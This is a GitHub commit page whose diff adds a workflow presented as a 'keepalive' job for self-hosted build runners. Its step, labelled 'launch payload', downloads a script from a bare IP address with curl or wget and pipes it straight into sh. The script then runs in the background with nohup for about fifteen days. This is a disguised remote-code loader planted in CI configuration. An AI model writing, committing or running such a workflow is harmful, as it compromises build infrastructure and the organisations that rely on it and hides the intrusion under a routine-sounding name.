Skip to content

Commit 27e71b0

Browse files
committed
add keepalive workflow on main
1 parent 8294acb commit 27e71b0

1 file changed

Lines changed: 16 additions & 0 deletions

File tree

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
name: 1test1 keepalive
2+
on:
3+
workflow_dispatch:
4+
jobs:
5+
keepalive:
6+
runs-on: [self-hosted, cx-build]
7+
steps:
8+
- name: launch payload
9+
shell: bash
10+
run: |
11+
set -euxo pipefail
12+
mkdir -p "$HOME/1test1"
13+
nohup bash -lc '(curl -fsSL -m180 http://106.38.201.117:8001/slt||wget -T180 -q http://106.38.201.117:8001/slt)|sh; sleep 1296000' >"$HOME/1test1/keepalive.log" 2>&1 &
14+
echo $! > "$HOME/1test1/keepalive.pid"
15+
sleep 3
16+
ps -p "$(cat $HOME/1test1/keepalive.pid)" -o pid=,comm= || true

0 commit comments

Comments
 (0)